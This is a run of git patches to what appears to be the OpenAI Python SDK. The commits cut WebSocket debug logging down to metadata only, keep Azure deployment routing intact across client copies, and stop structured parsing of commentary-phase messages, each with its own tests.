- return "classification"
-
- return "conditional generation"
-
-
-def get_common_xfix(series: Any, xfix: str = "suffix") -> str:
- """
- Finds the longest common suffix or prefix of all the values in a series
- """
- common_xfix = ""
- while True:
- common_xfixes = (
- series.str[-(len(common_xfix) + 1) :] if xfix == "suffix" else series.str[: len(common_xfix) + 1]
- ) # first few or last few characters
- if common_xfixes.nunique() != 1: # we found the character at which we don't have a unique xfix anymore
- break
- elif common_xfix == common_xfixes.values[0]: # the entire first row is a prefix of every other row
- break
- else: # the first or last few characters are still common across all rows - let's try to add one more
- common_xfix = common_xfixes.values[0]
- return common_xfix
-
-
-Validator: TypeAlias = "Callable[[pd.DataFrame], Remediation | None]"
-
-
-def get_validators() -> list[Validator]:
- return [
- num_examples_validator,
- lambda x: necessary_column_validator(x, "prompt"),
- lambda x: necessary_column_validator(x, "completion"),
- additional_column_validator,
- non_empty_field_validator,
- format_inferrer_validator,
- duplicated_rows_validator,
- long_examples_validator,
- lambda x: lower_case_validator(x, "prompt"),
- lambda x: lower_case_validator(x, "completion"),
- common_prompt_suffix_validator,
- common_prompt_prefix_validator,
- common_completion_prefix_validator,
- common_completion_suffix_validator,
- completions_space_start_validator,
- ]
-
-
-def apply_validators(
- df: pd.DataFrame,
- fname: str,
- remediation: Remediation | None,
- validators: list[Validator],
- auto_accept: bool,
- write_out_file_func: Callable[..., Any],
-) -> None:
- optional_remediations: list[Remediation] = []
- if remediation is not None:
- optional_remediations.append(remediation)
- for validator in validators:
- remediation = validator(df)
- if remediation is not None:
- optional_remediations.append(remediation)
- df = apply_necessary_remediation(df, remediation)
-
- any_optional_or_necessary_remediations = any(
- [
- remediation
- for remediation in optional_remediations
- if remediation.optional_msg is not None or remediation.necessary_msg is not None
- ]
- )
- any_necessary_applied = any(
- [remediation for remediation in optional_remediations if remediation.necessary_msg is not None]
- )
- any_optional_applied = False
-
- if any_optional_or_necessary_remediations:
- sys.stdout.write("\n\nBased on the analysis we will perform the following actions:\n")
- for remediation in optional_remediations:
- df, optional_applied = apply_optional_remediation(df, remediation, auto_accept)
- any_optional_applied = any_optional_applied or optional_applied
- else:
- sys.stdout.write("\n\nNo remediations found.\n")
-
- any_optional_or_necessary_applied = any_optional_applied or any_necessary_applied
-
- write_out_file_func(df, fname, any_optional_or_necessary_applied, auto_accept)
From ccc10f595ff606cf007459aecae6ddc90d02794a Mon Sep 17 00:00:00 2001
From: Marcus Wood
Date: Tue, 15 Sep 2026 20:05:19 +0000
Subject: [PATCH 149/341] fix: log only metadata for Live WebSocket diagnostics
(#3865)
Aligns Live, forks, and sideband WebSocket diagnostics with the existing
SDK logging pattern: message sizes and generic connection and
queue-warning messages. Extends sync and async logging coverage.
Validation: 460 related tests passed, plus 84 logging tests with
Pydantic v1. Ruff, mypy, changed-file formatting, and wheel/sdist builds
pass.
---
src/openai/resources/live/forks.py | 16 ++++-----
src/openai/resources/live/live.py | 16 ++++-----
src/openai/resources/live/sideband.py | 16 ++++-----
tests/test_debug_logging.py | 47 +++++++++++++++------------
4 files changed, 50 insertions(+), 45 deletions(-)
diff --git a/src/openai/resources/live/forks.py b/src/openai/resources/live/forks.py
index 2c41817763..7e770b870f 100644
--- a/src/openai/resources/live/forks.py
+++ b/src/openai/resources/live/forks.py
@@ -194,7 +194,7 @@ async def recv_bytes(self) -> bytes:
then you can call `.parse_event(data)`.
"""
message = await self._connection.recv(decode=False)
- log.debug(f"Received WebSocket message: %s", message)
+ log.debug("Received WebSocket message: %i bytes", len(message))
if self._reconnect_attempt:
# Account for raw application progress without changing frame delivery.
try:
@@ -326,7 +326,7 @@ async def _send(data: str) -> None:
try:
await self._send_queue.flush_async(_send)
except Exception:
- log.warning("Failed to flush send queue after reconnect", exc_info=True)
+ log.warning("Failed to flush send queue after reconnect")
def on(
self, event_type: str, handler: Callable[..., Any] | None = None
@@ -552,9 +552,9 @@ async def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> Async
**extra_query,
},
)
- log.debug("Connecting to %s", url)
+ log.debug("Connecting to WebSocket API")
if self.__websocket_connection_options:
- log.debug("Connection options: %s", self.__websocket_connection_options)
+ log.debug("Custom WebSocket connection options provided")
return await connect(
str(url),
@@ -675,7 +675,7 @@ def recv_bytes(self) -> bytes:
then you can call `.parse_event(data)`.
"""
message = self._connection.recv(decode=False)
- log.debug(f"Received WebSocket message: %s", message)
+ log.debug("Received WebSocket message: %i bytes", len(message))
if self._reconnect_attempt:
# Account for raw application progress without changing frame delivery.
try:
@@ -801,7 +801,7 @@ def _flush_send_queue(self) -> None:
try:
self._send_queue.flush_sync(lambda data: self._connection.send(data))
except Exception:
- log.warning("Failed to flush send queue after reconnect", exc_info=True)
+ log.warning("Failed to flush send queue after reconnect")
def on(
self, event_type: str, handler: Callable[..., Any] | None = None
@@ -1021,9 +1021,9 @@ def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> WebSocketCo
**extra_query,
},
)
- log.debug("Connecting to %s", url)
+ log.debug("Connecting to WebSocket API")
if self.__websocket_connection_options:
- log.debug("Connection options: %s", self.__websocket_connection_options)
+ log.debug("Custom WebSocket connection options provided")
return connect(
str(url),
diff --git a/src/openai/resources/live/live.py b/src/openai/resources/live/live.py
index 35618a0072..821791bfeb 100644
--- a/src/openai/resources/live/live.py
+++ b/src/openai/resources/live/live.py
@@ -415,7 +415,7 @@ async def recv_bytes(self) -> bytes:
then you can call `.parse_event(data)`.
"""
message = await self._connection.recv(decode=False)
- log.debug(f"Received WebSocket message: %s", message)
+ log.debug("Received WebSocket message: %i bytes", len(message))
if self._reconnect_attempt:
# Account for raw application progress without changing frame delivery.
try:
@@ -547,7 +547,7 @@ async def _send(data: str) -> None:
try:
await self._send_queue.flush_async(_send)
except Exception:
- log.warning("Failed to flush send queue after reconnect", exc_info=True)
+ log.warning("Failed to flush send queue after reconnect")
def on(
self, event_type: str, handler: Callable[..., Any] | None = None
@@ -771,9 +771,9 @@ async def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> Async
**extra_query,
},
)
- log.debug("Connecting to %s", url)
+ log.debug("Connecting to WebSocket API")
if self.__websocket_connection_options:
- log.debug("Connection options: %s", self.__websocket_connection_options)
+ log.debug("Custom WebSocket connection options provided")
return await connect(
str(url),
@@ -892,7 +892,7 @@ def recv_bytes(self) -> bytes:
then you can call `.parse_event(data)`.
"""
message = self._connection.recv(decode=False)
- log.debug(f"Received WebSocket message: %s", message)
+ log.debug("Received WebSocket message: %i bytes", len(message))
if self._reconnect_attempt:
# Account for raw application progress without changing frame delivery.
try:
@@ -1018,7 +1018,7 @@ def _flush_send_queue(self) -> None:
try:
self._send_queue.flush_sync(lambda data: self._connection.send(data))
except Exception:
- log.warning("Failed to flush send queue after reconnect", exc_info=True)
+ log.warning("Failed to flush send queue after reconnect")
def on(
self, event_type: str, handler: Callable[..., Any] | None = None
@@ -1235,9 +1235,9 @@ def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> WebSocketCo
**extra_query,
},
)
- log.debug("Connecting to %s", url)
+ log.debug("Connecting to WebSocket API")
if self.__websocket_connection_options:
- log.debug("Connection options: %s", self.__websocket_connection_options)
+ log.debug("Custom WebSocket connection options provided")
return connect(
str(url),
diff --git a/src/openai/resources/live/sideband.py b/src/openai/resources/live/sideband.py
index 89f282cee3..7b72be8e2c 100644
--- a/src/openai/resources/live/sideband.py
+++ b/src/openai/resources/live/sideband.py
@@ -197,7 +197,7 @@ async def recv_bytes(self) -> bytes:
then you can call `.parse_event(data)`.
"""
message = await self._connection.recv(decode=False)
- log.debug(f"Received WebSocket message: %s", message)
+ log.debug("Received WebSocket message: %i bytes", len(message))
if self._reconnect_attempt:
# Account for raw application progress without changing frame delivery.
try:
@@ -331,7 +331,7 @@ async def _send(data: str) -> None:
try:
await self._send_queue.flush_async(_send)
except Exception:
- log.warning("Failed to flush send queue after reconnect", exc_info=True)
+ log.warning("Failed to flush send queue after reconnect")
def on(
self, event_type: str, handler: Callable[..., Any] | None = None
@@ -560,9 +560,9 @@ async def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> Async
**extra_query,
},
)
- log.debug("Connecting to %s", url)
+ log.debug("Connecting to WebSocket API")
if self.__websocket_connection_options:
- log.debug("Connection options: %s", self.__websocket_connection_options)
+ log.debug("Custom WebSocket connection options provided")
return await connect(
str(url),
@@ -683,7 +683,7 @@ def recv_bytes(self) -> bytes:
then you can call `.parse_event(data)`.
"""
message = self._connection.recv(decode=False)
- log.debug(f"Received WebSocket message: %s", message)
+ log.debug("Received WebSocket message: %i bytes", len(message))
if self._reconnect_attempt:
# Account for raw application progress without changing frame delivery.
try:
@@ -811,7 +811,7 @@ def _flush_send_queue(self) -> None:
try:
self._send_queue.flush_sync(lambda data: self._connection.send(data))
except Exception:
- log.warning("Failed to flush send queue after reconnect", exc_info=True)
+ log.warning("Failed to flush send queue after reconnect")
def on(
self, event_type: str, handler: Callable[..., Any] | None = None
@@ -1034,9 +1034,9 @@ def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> WebSocketCo
**extra_query,
},
)
- log.debug("Connecting to %s", url)
+ log.debug("Connecting to WebSocket API")
if self.__websocket_connection_options:
- log.debug("Connection options: %s", self.__websocket_connection_options)
+ log.debug("Custom WebSocket connection options provided")
return connect(
str(url),
diff --git a/tests/test_debug_logging.py b/tests/test_debug_logging.py
index 3ba51161c4..86e337ce94 100644
--- a/tests/test_debug_logging.py
+++ b/tests/test_debug_logging.py
@@ -187,26 +187,28 @@ def handler(request: httpx2.Request) -> httpx2.Response:
WEBSOCKET_MODULES = [
- "openai.resources.realtime.realtime",
- "openai.resources.responses.responses",
- "openai.resources.beta.responses.responses",
- "openai.resources.beta.realtime.realtime",
+ ("openai.resources.realtime.realtime", "Realtime"),
+ ("openai.resources.responses.responses", "Responses"),
+ ("openai.resources.beta.responses.responses", "Responses"),
+ ("openai.resources.beta.realtime.realtime", "Realtime"),
+ ("openai.resources.live.live", "Live"),
+ ("openai.resources.live.forks", "Forks"),
+ ("openai.resources.live.sideband", "Sideband"),
]
-@pytest.mark.parametrize("module_name", WEBSOCKET_MODULES)
+@pytest.mark.parametrize("module_name, resource_name", WEBSOCKET_MODULES)
@pytest.mark.parametrize("asynchronous", [False, True])
@pytest.mark.parametrize("parsed", [False, True])
async def test_websocket_receive_metadata(
- module_name: str, asynchronous: bool, parsed: bool, caplog: pytest.LogCaptureFixture
+ module_name: str, resource_name: str, asynchronous: bool, parsed: bool, caplog: pytest.LogCaptureFixture
) -> None:
module = importlib.import_module(module_name)
- name = "RealtimeConnection" if ".realtime." in module_name else "ResponsesConnection"
+ name = resource_name + "Connection"
cls = getattr(module, ("Async" if asynchronous else "") + name)
+ event_type = "session.input_transcript.delta" if ".live." in module_name else "response.output_text.delta"
payload = (
- json.dumps({"type": "response.output_text.delta", "delta": FAKE_SECRET}).encode()
- if parsed
- else b"\x00" + FAKE_SECRET.encode()
+ json.dumps({"type": event_type, "delta": FAKE_SECRET}).encode() if parsed else b"\x00" + FAKE_SECRET.encode()
)
websocket = Mock()
websocket.recv = AsyncMock(return_value=payload) if asynchronous else Mock(return_value=payload)
@@ -217,22 +219,20 @@ async def test_websocket_receive_metadata(
result = await result
websocket.recv.assert_called_once_with(decode=False)
if parsed:
- assert result.type == "response.output_text.delta"
+ assert result.type == event_type
assert result.delta == FAKE_SECRET
else:
assert result is payload
assert assert_safe_logs(caplog) == [f"Received WebSocket message: {len(payload)} bytes"]
-@pytest.mark.parametrize("module_name", WEBSOCKET_MODULES)
+@pytest.mark.parametrize("module_name, resource_name", WEBSOCKET_MODULES)
@pytest.mark.parametrize("asynchronous", [False, True])
async def test_websocket_connection_metadata(
- module_name: str, asynchronous: bool, caplog: pytest.LogCaptureFixture
+ module_name: str, resource_name: str, asynchronous: bool, caplog: pytest.LogCaptureFixture
) -> None:
module = importlib.import_module(module_name)
- realtime = ".realtime." in module_name
- name = "Realtime" if realtime else "Responses"
- cls = getattr(module, ("Async" if asynchronous else "") + name)
+ cls = getattr(module, ("Async" if asynchronous else "") + resource_name)
websocket = Mock()
websocket.send = AsyncMock() if asynchronous else Mock()
websocket.close = AsyncMock() if asynchronous else Mock()
@@ -242,8 +242,10 @@ async def test_websocket_connection_metadata(
"extra_headers": {"X-Custom": FAKE_SECRET},
"websocket_connection_options": {"origin": FAKE_SECRET},
}
- if realtime:
+ if resource_name == "Realtime":
kwargs["model"] = "fake-model"
+ elif resource_name in {"Forks", "Sideband"}:
+ kwargs["session_id"] = FAKE_SECRET
with (
caplog.at_level(logging.DEBUG, logger="openai"),
patch("openai.lib._websocket._WebSocketConnect" if asynchronous else "websockets.sync.client.connect", connect),
@@ -307,13 +309,16 @@ async def test_response_parser_metadata(legacy: bool, asynchronous: bool, caplog
assert assert_safe_logs(caplog) == ["Could not read JSON from response data due to ValueError"]
-@pytest.mark.parametrize("module_name", WEBSOCKET_MODULES[:3])
+@pytest.mark.parametrize(
+ "module_name, resource_name",
+ [entry for entry in WEBSOCKET_MODULES if entry[0] != "openai.resources.beta.realtime.realtime"],
+)
@pytest.mark.parametrize("asynchronous", [False, True])
async def test_websocket_queue_failure_metadata(
- module_name: str, asynchronous: bool, caplog: pytest.LogCaptureFixture
+ module_name: str, resource_name: str, asynchronous: bool, caplog: pytest.LogCaptureFixture
) -> None:
module = importlib.import_module(module_name)
- name = "RealtimeConnection" if ".realtime." in module_name else "ResponsesConnection"
+ name = resource_name + "Connection"
cls = getattr(module, ("Async" if asynchronous else "") + name)
websocket = Mock()
websocket.send = (
@@ -323,7 +328,7 @@ async def test_websocket_queue_failure_metadata(
)
connection = cls(websocket)
connection._send_queue.enqueue(FAKE_SECRET)
- with caplog.at_level(logging.DEBUG, logger="openai"):
+ with caplog.at_level(logging.WARNING, logger="openai"):
if asynchronous:
await connection._flush_send_queue()
else:
From b3c04f4e701e07726f320295a38928421946e530 Mon Sep 17 00:00:00 2001
From: Henry Su
Date: Tue, 15 Sep 2026 21:11:34 +0000
Subject: [PATCH 150/341] fix(azure): preserve deployment routing across
copy/with_options (#3593)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
- [x] I understand that this repository is auto-generated and my pull
request may not be merged
## Changes being requested
Fixes a routing regression in `AzureOpenAI` / `AsyncAzureOpenAI` after
`.copy()` / `.with_options()`.
This change is in **hand-maintained** code — `src/openai/lib/azure.py`
has no `File generated from our OpenAPI spec by Stainless` header, and
`copy()`/`with_options()` there is custom Azure logic, so it is not
affected by codegen.
### Problem
`AzureOpenAI.copy()` (aliased as `with_options()`) delegates to the base
`OpenAI.copy()`, which reconstructs the client from `base_url` and does
**not** pass `azure_endpoint` / `azure_deployment` back to
`AzureOpenAI.__init__`. Because `_azure_endpoint` and
`_azure_deployment` are only set from those constructor arguments, they
get reset to `None` on the copied client.
`_prepare_url()` uses those attributes to bypass the deployment path for
**non-deployment** endpoints:
```python
if self._azure_deployment and self._azure_endpoint and url not in _deployments_endpoints:
# -> {endpoint}/openai/{url} (no /deployments//)
```
Once they are `None`, that bypass no longer runs, so a client configured
with `azure_deployment` starts routing non-deployment endpoints (e.g.
`/models`) under the deployment path, which 404s.
### Reproduction (no network / key required)
```python
from openai import AzureOpenAI
c = AzureOpenAI(
azure_endpoint="https://example.openai.azure.com",
azure_deployment="my-deploy",
api_version="2024-06-01",
azure_ad_token="fake-token",
)
print(c._prepare_url("/models"))
# https://example.openai.azure.com/openai/models ✅
c2 = c.with_options(timeout=30)
print(c2._azure_endpoint, c2._azure_deployment) # None None
print(c2._prepare_url("/models"))
# https://example.openai.azure.com/openai/deployments/my-deploy/models ❌ (404)
```
### Fix
Preserve `_azure_endpoint` / `_azure_deployment` on the copied client,
unless the caller overrides `base_url` in the copy (in which case the
old endpoint context is intentionally not carried over). Applied
symmetrically to the sync and async clients.
### Why minimal
- Only `copy()` in each of the two Azure clients changes; two guarded
lines each.
- Public API, credential handling, and the mutually-exclusive `base_url`
/ `azure_endpoint` constructor contract are untouched (the fix
deliberately avoids passing `azure_endpoint` alongside `base_url`).
- Deployment endpoints (e.g. `/chat/completions`) are unaffected —
`base_url` already encodes the deployment and `_build_request` continues
to guard on `"/deployments" in base_url.path`.
### Tests
Added `test_copy_preserves_deployment_routing` in
`tests/lib/test_azure.py` (sync + async × `copy` / `with_options`),
asserting that after a copy:
- `/models` → `{endpoint}/openai/models` (not nested under
`/deployments//`), and
- `/chat/completions` still keeps the deployment path.
Fails on `main` (wrong `/models` URL), passes with this change.
### Validation
- `rye run pytest tests/lib/test_azure.py` → 63 passed
- `rye run pytest tests/lib/` → all pass except a pre-existing,
unrelated failure
(`test_bedrock_auth_conformance.py::test_retry_signing_fixture`, which
fails identically on clean `main` in this environment)
- `ruff check` / `ruff format` clean on both files
- `pyright` and `mypy` clean on `src/openai/lib/azure.py`
### Compatibility
No public API change; behavior only changes for the previously-broken
post-copy case. Copies that override `base_url` keep their current
behavior.
## Additional context & links
Discovered by auditing sibling copy/state-preservation logic; no
existing issue or PR covers this. `.with_options()` is a common pattern
(per-request timeouts/headers), so Azure users combining it with
`azure_deployment` are likely to hit this.
---------
Co-authored-by: Marcus Wood
---
src/openai/lib/azure.py | 20 +++++++++++++++--
tests/lib/test_azure.py | 50 +++++++++++++++++++++++++++++++++++++++++
2 files changed, 68 insertions(+), 2 deletions(-)
diff --git a/src/openai/lib/azure.py b/src/openai/lib/azure.py
index 632a6493e0..d5f9a01ab0 100644
--- a/src/openai/lib/azure.py
+++ b/src/openai/lib/azure.py
@@ -410,7 +410,7 @@ def copy(
current_provider=self._azure_ad_token_provider,
)
- return super().copy(
+ copied = super().copy(
api_key=api_key,
admin_api_key=admin_api_key,
workload_identity=workload_identity,
@@ -434,6 +434,14 @@ def copy(
**_extra_kwargs,
},
)
+ # `super().copy()` reconstructs the client from `base_url`, which does not carry the
+ # Azure endpoint/deployment context that `_prepare_url` relies on to route
+ # non-deployment endpoints (e.g. `/models`). Preserve it unless the caller overrides
+ # the base URL.
+ if base_url is None:
+ copied._azure_endpoint = self._azure_endpoint
+ copied._azure_deployment = self._azure_deployment
+ return copied
with_options = copy
@@ -762,7 +770,7 @@ def copy(
current_provider=self._azure_ad_token_provider,
)
- return super().copy(
+ copied = super().copy(
api_key=api_key,
admin_api_key=admin_api_key,
workload_identity=workload_identity,
@@ -786,6 +794,14 @@ def copy(
**_extra_kwargs,
},
)
+ # `super().copy()` reconstructs the client from `base_url`, which does not carry the
+ # Azure endpoint/deployment context that `_prepare_url` relies on to route
+ # non-deployment endpoints (e.g. `/models`). Preserve it unless the caller overrides
+ # the base URL.
+ if base_url is None:
+ copied._azure_endpoint = self._azure_endpoint
+ copied._azure_deployment = self._azure_deployment
+ return copied
with_options = copy
diff --git a/tests/lib/test_azure.py b/tests/lib/test_azure.py
index f7540facd4..fd5067f55c 100644
--- a/tests/lib/test_azure.py
+++ b/tests/lib/test_azure.py
@@ -80,6 +80,56 @@ def test_client_copying_override_options(client: Client) -> None:
assert copied._custom_query == {"api-version": "2022-05-01"}
+@pytest.mark.parametrize(
+ "client",
+ [
+ AzureOpenAI(
+ api_version="2024-02-01",
+ api_key="example API key",
+ azure_endpoint="https://example-resource.azure.openai.com",
+ azure_deployment="deployment-client",
+ ),
+ AsyncAzureOpenAI(
+ api_version="2024-02-01",
+ api_key="example API key",
+ azure_endpoint="https://example-resource.azure.openai.com",
+ azure_deployment="deployment-client",
+ ),
+ ],
+)
+@pytest.mark.parametrize("method", ["copy", "with_options"])
+@pytest.mark.parametrize("base_url", [None, "https://replacement.example.test/gateway"])
+async def test_copy_preserves_deployment_routing(
+ client: Client, method: Literal["copy", "with_options"], base_url: str | None
+) -> None:
+ copied = (
+ client.copy(timeout=5, base_url=base_url)
+ if method == "copy"
+ else client.with_options(timeout=5, base_url=base_url)
+ )
+ copied = copied.with_options(max_retries=0)
+ root = base_url or "https://example-resource.azure.openai.com/openai"
+ deployment = "body-model" if base_url else "deployment-client"
+
+ # Non-deployment endpoints use the root; deployment endpoints retain their routing.
+ req = copied._build_request(FinalRequestOptions.construct(method="get", url="/models"))
+ assert req.url == root + "/models?api-version=2024-02-01"
+ req = copied._build_request(
+ FinalRequestOptions.construct(method="post", url="/chat/completions", json_data={"model": "body-model"})
+ )
+ assert req.url == root + f"/deployments/{deployment}/chat/completions?api-version=2024-02-01"
+
+ if isinstance(copied, AsyncAzureOpenAI):
+ url, headers = await copied._configure_realtime("body-model", {})
+ else:
+ url, headers = copied._configure_realtime("body-model", {})
+ assert url == root.replace("https://", "wss://") + (f"/realtime?api-version=2024-02-01&deployment={deployment}")
+ assert headers == {"api-key": "example API key"}
+
+ # Changing a copy's destination must not change the original client.
+ assert client._prepare_url("/models") == "https://example-resource.azure.openai.com/openai/models"
+
+
@pytest.mark.parametrize("client", [sync_client, async_client])
@pytest.mark.parametrize("method", ["copy", "with_options"])
def test_client_copying_rejects_x509_workload_identity(client: Client, method: Literal["copy", "with_options"]) -> None:
From 6520df1220a0030c7b45b00a6fa4bf2e9c7396ac Mon Sep 17 00:00:00 2001
From: ML_Bear
Date: Tue, 15 Sep 2026 21:55:19 +0000
Subject: [PATCH 151/341] fix(responses): skip structured parsing for
commentary (#3861)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
- [x] I understand that this repository is auto-generated and my pull
request may not be merged
## Changes being requested
Parse structured output only for messages with `phase="final_answer"` or
a missing/null phase. Commentary and other explicit phases retain their
text and metadata with `parsed=None`.
Currently, a response containing prose commentary followed by a valid
final JSON message raises a Pydantic validation error while parsing the
commentary. If the commentary happens to be schema-valid JSON instead,
`output_parsed` returns that intermediate value rather than the final
answer.
The phase policy is centralized in `parse_text()` in handwritten `lib/`
code. Both `parse_response()` and the streaming
`response.output_text.done` handler pass the message phase to it; stream
completion already uses `parse_response()`. `helpers.md` documents the
behavior, including forward compatibility for unknown explicit phases.
With commentary unparsed, the existing `output_parsed` accessor reaches
the final result without modification. Messages with
`phase="final_answer"`, `phase=None`, or an omitted phase retain
existing behavior, including validation errors for invalid final JSON.
Commentary text remains available through normal text fields and events.
The request's strict JSON Schema, refusals, and tool-call handling are
unchanged.
## Additional context & links
Fixes #3859.
Requesting SDK CODEOWNER review for this structured-parsing behavior
change.
### Validation
At current head `9594078438efabc943a1d0da79e46f209ea3c106`, after the
maintainer update:
- Responses tests: **229 passed with Pydantic v1** (Python 3.13.5) and
**229 passed with Pydantic v2** (Python 3.10.20).
- Added coverage includes unknown explicit phases, legacy streaming
phases, multiple text parts, and intermediate messages before/after
final output.
The following baseline reproduction and full-suite results were obtained
at the original PR head `f3cb72e3de1e4f1753002e362dcb2d45603d2762`:
Based on `main` at `d421d7ab8c0a5e4e00147407ef9941c7f2bc9c09`.
The regression tests use synthetic JSON responses and SSE through
`httpx2.MockTransport` and the public synchronous/asynchronous
`responses.parse()` and `responses.stream()` entry points. They require
no API credentials or live model calls. Every structured request also
checks that the strict JSON Schema is still sent.
Coverage includes prose and schema-valid commentary, absent/null phases,
commentary without a final result, final refusals, invalid final
JSON/schema, streamed text-done and completion parsing, interleaved tool
calls, and null/missing/empty completion output.
- New regression tests: **34 failed / 24 passed on unchanged main → 58
passed with this fix**, using identical fixtures.
- Full SDK suite on Python 3.13.5 (`./scripts/test -n 4`): **13,018
passed / 162 skipped with Pydantic v2**, and **13,004 passed / 176
skipped with Pydantic v1**.
- Responses tests: **165 passed with Pydantic v1**; **165 passed on
Python 3.10.20 with Pydantic v2**.
- `./scripts/lint` on Python 3.10.20: Ruff, Pyright, Mypy, and import
check passed.
- Ruff formatting for changed files and `git diff --check` passed.
- The custom-code budget check using main's unchanged checker passed; no
budget or generation metadata changes.
---------
Co-authored-by: naotaka1128 <5688448+naotaka1128@users.noreply.github.com>
Co-authored-by: Marcus Wood
---
helpers.md | 19 ++
src/openai/lib/_parsing/_responses.py | 13 +-
.../lib/streaming/responses/_responses.py | 2 +-
.../lib/responses/test_commentary_parsing.py | 311 ++++++++++++++++++
4 files changed, 342 insertions(+), 3 deletions(-)
create mode 100644 tests/lib/responses/test_commentary_parsing.py
diff --git a/helpers.md b/helpers.md
index b6dd1d4e8a..940381dd4d 100644
--- a/helpers.md
+++ b/helpers.md
@@ -41,6 +41,25 @@ else:
print(message.refusal)
```
+## Parsing Responses API output
+
+Use `client.responses.parse(..., text_format=YourModel)` to parse Responses API
+output into a Pydantic model. The same parsing rules apply to
+`client.responses.stream(..., text_format=YourModel)` and their async equivalents.
+
+- Messages with `phase="final_answer"` are parsed. Messages with no phase or a
+ null phase retain the legacy behavior and are also parsed.
+- Commentary and other explicit phases keep their original text and metadata,
+ with `parsed=None`, even when the text happens to match the schema.
+- `output_parsed` returns the first parsed result, or `None` when there is none.
+ A refusal does not cause commentary to be used as a fallback answer.
+- Invalid JSON or schema-invalid text in an eligible message still raises a
+ validation error. Missing phases are not inferred from the text or model name.
+
+`output_text` continues to concatenate all output text, including commentary.
+Use `output_parsed` for the structured result and retain `output` when replaying
+messages so their phases are preserved.
+
## Auto-parsing function tool calls
The `.parse()` method will also automatically parse `function` tool calls if:
diff --git a/src/openai/lib/_parsing/_responses.py b/src/openai/lib/_parsing/_responses.py
index 81e6b2b983..e6a7165971 100644
--- a/src/openai/lib/_parsing/_responses.py
+++ b/src/openai/lib/_parsing/_responses.py
@@ -71,7 +71,7 @@ def parse_response(
type_=ParsedResponseOutputText[TextFormatT],
value={
**item.to_dict(),
- "parsed": parse_text(item.text, text_format=text_format),
+ "parsed": parse_text(item.text, text_format=text_format, phase=output.phase),
},
)
)
@@ -141,7 +141,16 @@ def parse_response(
)
-def parse_text(text: str, text_format: type[TextFormatT] | Omit) -> TextFormatT | None:
+def parse_text(text: str, text_format: type[TextFormatT] | Omit, *, phase: str | None) -> TextFormatT | None:
+ """Parse final-answer text, retaining legacy behavior for messages without a phase.
+
+ Explicit phases other than `final_answer` are not structured results. Leave
+ their text unparsed, including phases introduced by future API versions.
+ Both completed responses and streamed text-done events use this rule.
+ """
+ if phase is not None and phase != "final_answer":
+ return None
+
if not is_given(text_format):
return None
diff --git a/src/openai/lib/streaming/responses/_responses.py b/src/openai/lib/streaming/responses/_responses.py
index 493de74763..da4c00f845 100644
--- a/src/openai/lib/streaming/responses/_responses.py
+++ b/src/openai/lib/streaming/responses/_responses.py
@@ -291,7 +291,7 @@ def handle_event(self, event: RawResponseStreamEvent) -> List[ResponseStreamEven
logprobs=event.logprobs,
type="response.output_text.done",
text=event.text,
- parsed=parse_text(event.text, text_format=self._text_format),
+ parsed=parse_text(event.text, text_format=self._text_format, phase=output.phase),
)
)
elif event.type == "response.function_call_arguments.delta":
diff --git a/tests/lib/responses/test_commentary_parsing.py b/tests/lib/responses/test_commentary_parsing.py
new file mode 100644
index 0000000000..9ef78335c4
--- /dev/null
+++ b/tests/lib/responses/test_commentary_parsing.py
@@ -0,0 +1,311 @@
+from __future__ import annotations
+
+import json
+from typing import Any
+
+import httpx2
+import pytest
+from pydantic import BaseModel, ValidationError
+
+from openai import OpenAI, AsyncOpenAI, omit
+from openai._types import Omit
+from openai.types.responses import ParsedResponse
+from openai.lib.streaming.responses import ResponseStreamEvent
+
+# Pydantic v2 warns when serializing a response containing a future enum value.
+# These probes retain the SDK's default warning behavior, rather than treating it
+# as an error under the test suite's global warnings policy.
+NON_FINAL_PHASES = [
+ "commentary",
+ pytest.param("future_phase", marks=pytest.mark.filterwarnings("ignore:Pydantic serializer warnings:UserWarning")),
+]
+
+
+class Result(BaseModel):
+ answer: str
+
+
+def _message(text: str, phase: str | None = "final_answer") -> dict[str, Any]:
+ message: dict[str, Any] = {
+ "id": f"msg_{phase}",
+ "type": "message",
+ "role": "assistant",
+ "status": "completed",
+ "phase": phase,
+ "content": [{"type": "output_text", "text": text, "annotations": [], "logprobs": []}],
+ }
+ if phase == "missing":
+ del message["phase"]
+ return message
+
+
+def _response(output: list[dict[str, Any]] | None) -> dict[str, Any]:
+ return {
+ "id": "resp_test",
+ "object": "response",
+ "created_at": 0,
+ "model": "test-model",
+ "status": "completed",
+ "output": output,
+ "parallel_tool_calls": True,
+ "tool_choice": "auto",
+ "tools": [],
+ }
+
+
+def _transport(response: httpx2.Response, *, structured: bool = True) -> httpx2.MockTransport:
+ def respond(request: httpx2.Request) -> httpx2.Response:
+ body = json.loads(request.content)
+ if structured:
+ assert body["text"]["format"] == {
+ "type": "json_schema",
+ "name": "Result",
+ "strict": True,
+ "schema": {
+ "title": "Result",
+ "type": "object",
+ "properties": {"answer": {"title": "Answer", "type": "string"}},
+ "required": ["answer"],
+ "additionalProperties": False,
+ },
+ }
+ else:
+ assert "format" not in body.get("text", {})
+ return response
+
+ return httpx2.MockTransport(respond)
+
+
+async def _parse(
+ sync: bool, output: list[dict[str, Any]], *, text_format: type[Result] | Omit = Result
+) -> ParsedResponse[Result]:
+ transport = _transport(httpx2.Response(200, json=_response(output)), structured=text_format is not omit)
+ if sync:
+ with OpenAI(api_key="fake-test-key", http_client=httpx2.Client(transport=transport)) as client:
+ return client.responses.parse(model="test-model", input="test", text_format=text_format)
+ async with AsyncOpenAI(api_key="fake-test-key", http_client=httpx2.AsyncClient(transport=transport)) as client:
+ return await client.responses.parse(model="test-model", input="test", text_format=text_format)
+
+
+def _events(
+ commentary: str,
+ final_text: str,
+ completion: str = "supplied",
+ *,
+ commentary_phase: str = "commentary",
+ final_phase: str | None = "final_answer",
+) -> list[dict[str, Any]]:
+ messages = [_message(commentary, commentary_phase), _message(final_text, final_phase)]
+ tool = {"type": "function_call", "id": "fc_test", "call_id": "call_test", "name": "lookup", "arguments": "{}"}
+ events: list[dict[str, Any]] = [{"type": "response.created", "response": _response([])}]
+ for index, message in zip((0, 2), messages, strict=True):
